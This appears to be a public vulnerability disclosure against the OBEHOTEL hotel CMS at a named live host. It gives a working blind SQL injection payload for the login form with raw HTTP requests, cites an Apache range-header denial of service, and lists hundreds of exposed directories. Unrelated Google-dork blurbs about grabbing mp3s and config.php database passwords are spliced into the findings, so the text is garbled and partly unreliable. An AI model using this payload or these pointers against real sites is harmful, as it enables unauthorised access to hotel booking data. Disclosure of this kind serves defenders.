OBEHOTEL (Spanish) CMS Blind SQLinjection / Apache httpd Remote Denial of Service / Directory Listing / Insecure transition from HTTPS to HTTP in form post I-VULNERABILITY ------------------------- #Title: OBEHOTEL CMS Blind SQLinjection / Apache httpd Remote Denial of Service / Directory Listing / Insecure transition from HTTPS to HTTP in form post #Vendor:https://secureadv.obehotel.com/mpa/ #Author:Juan Carlos Garca (@secnight) #Follow me http://www.highsec.es http://hackingmadrid.blogspot.com Twitter:@secnight II-Introduction: ================ Obehotel is the set of different solutions, technological developments and applications directed to hotels for online marketing and distribution aimed at improving both hoteliers processes such as customer experience. Obehotel is the result of joint effort conducted by professionals with extensive experience in the ICT-Sector Efimatica-and marketing professionals-Travel Tourism Sector Holidaysinspain.com-like main online distribution partner. This union puts them as one of the major Spanish companies specializing in online distribution technology applied to the Hospitality Industry. ------------------------- III-PROOF OF CONCEPT ==================== Attack details -------------- Blind SqlInjection ****************** SQL injection is a vulnerability that allows an attacker to alter backend SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use subselects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system. Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine. Attack details -------------- URL encoded POST input username was set to xlgskuot' or (sleep(2)+1) limit 1 -- POST /mpa/index.php Server: Apache/2.2.16 (Debian) X-Powered-By: PHP/5.3.3-7+squeeze14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: ./hotel_inicio/index.php Vary: Accept-Encoding Content-Length: 3402 Keep-Alive: timeout=15, max=92 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 password=g00dPa$$w0rD&username=xlgskuot%27%20or%20%28sleep%282%29%2b1%29%20limit%201%20--%20 variant (1) name POST /mpa/index.php HTTP/1.1 Content-Length: 92 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=sto2bv4krb2h4f0n45tm6o4hn3 Host: secureadv.obehotel.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Accept: */* password=g00dPa$$w0rD&username=xlgskuot%27%20or%20%28sleep%282%29%2b1%29%20limit%201%20--%20 Apache httpd Remote Denial of Service ************************************* A denial of service vulnerability has been found in the way the multiple overlapping ranges are handled by the Apache HTTPD server: http://seclists.org/fulldisclosure/2011/Aug/175 CVE-2011-3192 An attack tool is circulating in the wild. Active use of this tools has been observed. The attack can be done remotely and with a modest number of requests can cause very significant memory and CPU usage on the server. Affected Apache versions (1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19). Current version is : 2.2.16 Directory Listing ***************** The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.A user can view a list of all files from this directory possibly exposing sensitive information. Affected items 226 Affected items /mpa/core /mpa/core/ajax /mpa/core/ajax/blog /mpa/core/ajax/newsfeed /mpa/core/class /mpa/core/css /mpa/core/css/plugins /mpa/core/fonts /mpa/core/images /mpa/core/images/assets /mpa/core/images/assets/thumb /mpa/core/images/assets/thumb/large /mpa/core/images/assets/thumb/medium /mpa/core/images/assets/thumb/small /mpa/core/images/blueline /mpa/core/images/colorbox /mpa/core/images/colorpicker /mpa/core/images/contrast /mpa/core/images/default /mpa/core/images/greenline /mpa/core/images/headerbg /mpa/core/images/icons /mpa/core/images/icons/64 /mpa/core/images/icons/blogperfume /mpa/core/images/icons/blogperfume/Advertisment /mpa/core/images/icons/blogperfume/Archive /mpa/core/images/icons/blogperfume/Article /mpa/core/images/icons/blogperfume/Author /mpa/core/images/icons/blogperfume/Blog%20Roll /mpa/core/images/icons/blogperfume/Comments /mpa/core/images/icons/blogperfume/Date /mpa/core/images/icons/blogperfume/Email /mpa/core/images/icons/blogperfume/Plugins /mpa/core/images/icons/blogperfume/RSS /mpa/core/images/icons/blogperfume/Themes /mpa/core/images/icons/blogperfume/Views /mpa/core/images/icons_actions /mpa/core/images/kozers /mpa/core/images/kozers/original /mpa/core/images/kozers/thumb /mpa/core/images/loaders /mpa/core/images/markers /mpa/core/images/preview /mpa/core/images/thumbs /mpa/core/images/uniform /mpa/core/js /mpa/core/js/custom /mpa/core/js/lang /mpa/core/js/plugins /mpa/core/js/plugins/ckfinder /mpa/core/js/plugins/ckfinder/_samples/php /mpa/core/js/plugins/ckfinder/core /mpa/core/js/plugins/ckfinder/core/connector /mpa/core/js/plugins/ckfinder/core/connector/php /mpa/core/js/plugins/ckfinder/core/connector/php/lang /mpa/core/js/plugins/ckfinder/core/connector/php/php5 /mpa/core/js/plugins/ckfinder/core/connector/php/php5/CommandHandler /mpa/core/js/plugins/ckfinder/core/connector/php/php5/Core /mpa/core/js/plugins/ckfinder/core/connector/php/php5/ErrorHandler /mpa/core/js/plugins/ckfinder/core/connector/php/php5/Utils /mpa/core/js/plugins/ckfinder/help /mpa/core/js/plugins/ckfinder/help/cs/files /mpa/core/js/plugins/ckfinder/help/en/files /mpa/core/js/plugins/ckfinder/help/es/files /mpa/core/js/plugins/ckfinder/help/es/files/images /mpa/core/js/plugins/ckfinder/help/es-mx/files /mpa/core/js/plugins/ckfinder/help/es-mx/files/images /mpa/core/js/plugins/ckfinder/help/fi/files /mpa/core/js/plugins/ckfinder/help/fi/files/images /mpa/core/js/plugins/ckfinder/help/files /mpa/core/js/plugins/ckfinder/help/files/images /mpa/core/js/plugins/ckfinder/help/files/other /mpa/core/js/plugins/ckfinder/help/lt/files /mpa/core/js/plugins/ckfinder/help/lt/files/images /mpa/core/js/plugins/ckfinder/help/pl/files /mpa/core/js/plugins/ckfinder/lang /mpa/core/js/plugins/ckfinder/plugins /mpa/core/js/plugins/ckfinder/plugins/dummy /mpa/core/js/plugins/ckfinder/plugins/dummy/lang /mpa/core/js/plugins/ckfinder/plugins/fileeditor /mpa/core/js/plugins/ckfinder/plugins/fileeditor/codemirror /mpa/core/js/plugins/ckfinder/plugins/fileeditor/codemirror/lib /mpa/core/js/plugins/ckfinder/plugins/fileeditor/codemirror/mode /mpa/core/js/plugins/ckfinder/plugins/fileeditor/codemirror/mode/clike /mpa/core/js/plugins/ckfinder/plugins/fileeditor/codemirror/mode/css /mpa/core/js/plugins/ckfinder/plugins/fileeditor/codemirror/mode/htmlmixed /mpa/core/js/plugins/ckfinder/plugins/fileeditor/codemirror/mode/javascript /mpa/core/js/plugins/ckfinder/plugins/fileeditor/codemirror/mode/php /mpa/core/js/plugins/ckfinder/plugins/fileeditor/codemirror/mode/xml /mpa/core/js/plugins/ckfinder/plugins/flashupload /mpa/core/js/plugins/ckfinder/plugins/flashupload/flash /mpa/core/js/plugins/ckfinder/plugins/gallery /mpa/core/js/plugins/ckfinder/plugins/gallery/colorbox /mpa/core/js/plugins/ckfinder/plugins/gallery/colorbox/images /mpa/core/js/plugins/ckfinder/plugins/gallery/colorbox/images/ie6 /mpa/core/js/plugins/ckfinder/plugins/imageresize /mpa/core/js/plugins/ckfinder/plugins/imageresize/images /mpa/core/js/plugins/ckfinder/plugins/watermark /mpa/core/js/plugins/ckfinder/plugins/zip /mpa/core/js/plugins/ckfinder/plugins/zip/images /mpa/core/js/plugins/ckfinder/skins /mpa/core/js/plugins/ckfinder/skins/kama /mpa/core/js/plugins/ckfinder/skins/kama/images /mpa/core/js/plugins/ckfinder/skins/kama/images/icons /mpa/core/js/plugins/ckfinder/skins/kama/images/icons/16 /mpa/core/js/plugins/ckfinder/skins/kama/images/icons/32 /mpa/core/js/plugins/ckfinder/skins/kama/images/loaders /mpa/core/js/plugins/ckfinder/skins/kama/images/toolbar /mpa/core/js/plugins/ckfinder/skins/v1 /mpa/core/js/plugins/ckfinder/skins/v1/images /mpa/core/js/plugins/ckfinder/skins/v1/images/icons /mpa/core/js/plugins/ckfinder/skins/v1/images/icons/16 /mpa/core/js/plugins/ckfinder/skins/v1/images/icons/32 /mpa/core/js/plugins/ckfinder/skins/v1/images/loaders /mpa/core/js/plugins/ckfinder/skins/v1/images/toolbar /mpa/core/js/plugins/ckfinder/userfiles /mpa/core/js/plugins/tinymce /mpa/core/js/plugins/tinymce/langs /mpa/core/js/plugins/tinymce/plugins /mpa/core/js/plugins/tinymce/plugins/advhr /mpa/core/js/plugins/tinymce/plugins/advhr/css /mpa/core/js/plugins/tinymce/plugins/advhr/js /mpa/core/js/plugins/tinymce/plugins/advhr/langs /mpa/core/js/plugins/tinymce/plugins/advimage /mpa/core/js/plugins/tinymce/plugins/advimage/css /mpa/core/js/plugins/tinymce/plugins/advimage/img /mpa/core/js/plugins/tinymce/plugins/advimage/js /mpa/core/js/plugins/tinymce/plugins/advimage/langs /mpa/core/js/plugins/tinymce/plugins/advlink /mpa/core/js/plugins/tinymce/plugins/advlink/css /mpa/core/js/plugins/tinymce/plugins/advlink/js /mpa/core/js/plugins/tinymce/plugins/advlink/langs /mpa/core/js/plugins/tinymce/plugins/advlist /mpa/core/js/plugins/tinymce/plugins/autolink /mpa/core/js/plugins/tinymce/plugins/autoresize /mpa/core/js/plugins/tinymce/plugins/autosave /mpa/core/js/plugins/tinymce/plugins/autosave/langs /mpa/core/js/plugins/tinymce/plugins/bbcode /mpa/core/js/plugins/tinymce/plugins/contextmenu /mpa/core/js/plugins/tinymce/plugins/directionality /mpa/core/js/plugins/tinymce/plugins/emotions /mpa/core/js/plugins/tinymce/plugins/emotions/img /mpa/core/js/plugins/tinymce/plugins/emotions/js /mpa/core/js/plugins/tinymce/plugins/emotions/langs /mpa/core/js/plugins/tinymce/plugins/example /mpa/core/js/plugins/tinymce/plugins/example/img /mpa/core/js/plugins/tinymce/plugins/example/js /mpa/core/js/plugins/tinymce/plugins/example/langs /mpa/core/js/plugins/tinymce/plugins/example_dependency /mpa/core/js/plugins/tinymce/plugins/fullpage /mpa/core/js/plugins/tinymce/plugins/fullpage/css /mpa/core/js/plugins/tinymce/plugins/fullpage/js /mpa/core/js/plugins/tinymce/plugins/fullpage/langs /mpa/core/js/plugins/tinymce/plugins/fullscreen /mpa/core/js/plugins/tinymce/plugins/iespell /mpa/core/js/plugins/tinymce/plugins/inlinepopups /mpa/core/js/plugins/tinymce/plugins/inlinepopups/skins /mpa/core/js/plugins/tinymce/plugins/inlinepopups/skins/clearlooks2 /mpa/core/js/plugins/tinymce/plugins/inlinepopups/skins/clearlooks2/img /mpa/core/js/plugins/tinymce/plugins/inlinepopups/skins/themepixels /mpa/core/js/plugins/tinymce/plugins/inlinepopups/skins/themepixels/img /mpa/core/js/plugins/tinymce/plugins/insertdatetime /mpa/core/js/plugins/tinymce/plugins/layer /mpa/core/js/plugins/tinymce/plugins/legacyoutput /mpa/core/js/plugins/tinymce/plugins/lists /mpa/core/js/plugins/tinymce/plugins/media /mpa/core/js/plugins/tinymce/plugins/media/css /mpa/core/js/plugins/tinymce/plugins/media/js /mpa/core/js/plugins/tinymce/plugins/media/langs /mpa/core/js/plugins/tinymce/plugins/nonbreaking /mpa/core/js/plugins/tinymce/plugins/noneditable /mpa/core/js/plugins/tinymce/plugins/pagebreak /mpa/core/js/plugins/tinymce/plugins/paste /mpa/core/js/plugins/tinymce/plugins/paste/js /mpa/core/js/plugins/tinymce/plugins/paste/langs /mpa/core/js/plugins/tinymce/plugins/preview /mpa/core/js/plugins/tinymce/plugins/preview/jscripts /mpa/core/js/plugins/tinymce/plugins/print /mpa/core/js/plugins/tinymce/plugins/save /mpa/core/js/plugins/tinymce/plugins/searchreplace /mpa/core/js/plugins/tinymce/plugins/searchreplace/css /mpa/core/js/plugins/tinymce/plugins/searchreplace/js /mpa/core/js/plugins/tinymce/plugins/searchreplace/langs /mpa/core/js/plugins/tinymce/plugins/spellchecker /mpa/core/js/plugins/tinymce/plugins/spellchecker/css /mpa/core/js/plugins/tinymce/plugins/spellchecker/img /mpa/core/js/plugins/tinymce/plugins/style /mpa/core/js/plugins/tinymce/plugins/style/css /mpa/core/js/plugins/tinymce/plugins/style/js /mpa/core/js/plugins/tinymce/plugins/style/langs /mpa/core/js/plugins/tinymce/plugins/tabfocus /mpa/core/js/plugins/tinymce/plugins/table /mpa/core/js/plugins/tinymce/plugins/table/css /mpa/core/js/plugins/tinymce/plugins/table/js /mpa/core/js/plugins/tinymce/plugins/table/langs /mpa/core/js/plugins/tinymce/plugins/template /mpa/core/js/plugins/tinymce/plugins/template/css /mpa/core/js/plugins/tinymce/plugins/template/js /mpa/core/js/plugins/tinymce/plugins/template/langs /mpa/core/js/plugins/tinymce/plugins/visualblocks /mpa/core/js/plugins/tinymce/plugins/visualblocks/css /mpa/core/js/plugins/tinymce/plugins/visualchars /mpa/core/js/plugins/tinymce/plugins/wordcount /mpa/core/js/plugins/tinymce/themes /mpa/core/js/plugins/tinymce/themes/advanced /mpa/core/js/plugins/tinymce/themes/advanced/img /mpa/core/js/plugins/tinymce/themes/advanced/js /mpa/core/js/plugins/tinymce/themes/advanced/langs /mpa/core/js/plugins/tinymce/themes/advanced/skins /mpa/core/js/plugins/tinymce/themes/advanced/skins/default /mpa/core/js/plugins/tinymce/themes/advanced/skins/default/img /mpa/core/js/plugins/tinymce/themes/advanced/skins/highcontrast /mpa/core/js/plugins/tinymce/themes/advanced/skins/o2k7 /mpa/core/js/plugins/tinymce/themes/advanced/skins/o2k7/img /mpa/core/js/plugins/tinymce/themes/advanced/skins/themepixels /mpa/core/js/plugins/tinymce/themes/advanced/skins/themepixels/img /mpa/core/js/plugins/tinymce/themes/simple /mpa/core/js/plugins/tinymce/themes/simple/img /mpa/core/js/plugins/tinymce/themes/simple/langs /mpa/core/js/plugins/tinymce/themes/simple/skins /mpa/core/js/plugins/tinymce/themes/simple/skins/default /mpa/core/js/plugins/tinymce/themes/simple/skins/o2k7 /mpa/core/js/plugins/tinymce/themes/simple/skins/o2k7/img /mpa/core/js/plugins/tinymce/utils /mpa/core/lang /mpa/core/pdf Files uploaded through FTP Affected items /mpa/core/js/plugins/ckfinder/core/connector/php/php5/CommandHandler /mpa/core/js/plugins/ckfinder/core/connector/php/php5/ErrorHandler /mpa/core/js/plugins/ckfinder/help/files/images /mpa/core/js/plugins/ckfinder/plugins /mpa/core/js/plugins/ckfinder/plugins/flashupload /mpa/core/js/plugins/ckfinder/plugins/flashupload/flash Mp3 file Yes! I probably have should have told you guys earlier, but this is how ive been getting 100% of my mp3s. It fricken rocks, use it and abuse it. Downfalls to it... a)sometimes you shouldnt include mp3 in the query and getting what you want takes several different methods of searching b)a lot of the time google gives you results and they are not there thanks to good old friend 404 c)finding stuff takes a lot of practice. Goods... a)ive found whole albums b)ive mass downloaded directories of hundreds of songs that i have intrest in c)its exciting seeing the results, like fining treasure. Affected items /mpa/core/js/plugins/ckfinder/skins/kama/images/icons/16 /mpa/core/js/plugins/ckfinder/skins/kama/images/icons/32 /mpa/core/js/plugins/ckfinder/skins/v1/images/icons/16 /mpa/core/js/plugins/ckfinder/skins/v1/images/icons/32 PHP configuration file (config.php) This search brings up sites with "config.php" files. To skip the technical discussion, this configuration file contains both a username and a password for an SQL database. Most sites with forums run a PHP message base. This file gives you the keys to that forum, including FULL ADMIN access to the database. Way to go, googleDorks!! Affected items /mpa/core/js/plugins/ckfinder /mpa/core/js/plugins/ckfinder/core/connector/php/php5/Core Insecure transition from HTTPS to HTTP in form post *************************************************** This secure (https) page contains a form that is posting to an insecure (http) page. This could confuse users who may think their data is encrypted when in fact it's not. This vulnerability affects /mpa/core/js/plugins/ckfinder/help/es/files/suggestions.html. Attack details -------------- Form name: "" Form action: "http://cksource.com/ckfinder/doc_suggestion" GET /mpa/core/js/plugins/ckfinder/help/es/files/suggestions.html Referer: https://secureadv.obehotel.com/mpa/core/js/plugins/ckfinder/help/es/files/toc.html Cookie: PHPSESSID=sto2bv4krb2h4f0n45tm6o4hn3 Host: secureadv.obehotel.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Accept: */* Response: Server: Apache/2.2.16 (Debian) Last-Modified: Fri, 24 Aug 2012 02:49:24 GMT ETag: "30119b-696-4c7fa060b5500" Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 1686 Keep-Alive: timeout=15, max=29 Connection: Keep-Alive Content-Type: text/html; charset=ISO-8859-15 IV. CREDITS ------------------------- This vulnerability has been discovered by Juan Carlos Garca(@secnight) Special thanks to Javier Garcia Garcia for showing me this Spanish "CMS" for Penetration Testing V. LEGAL NOTICES ------------------------- The Author accepts no responsibility for any damage caused by the use or misuse of this information.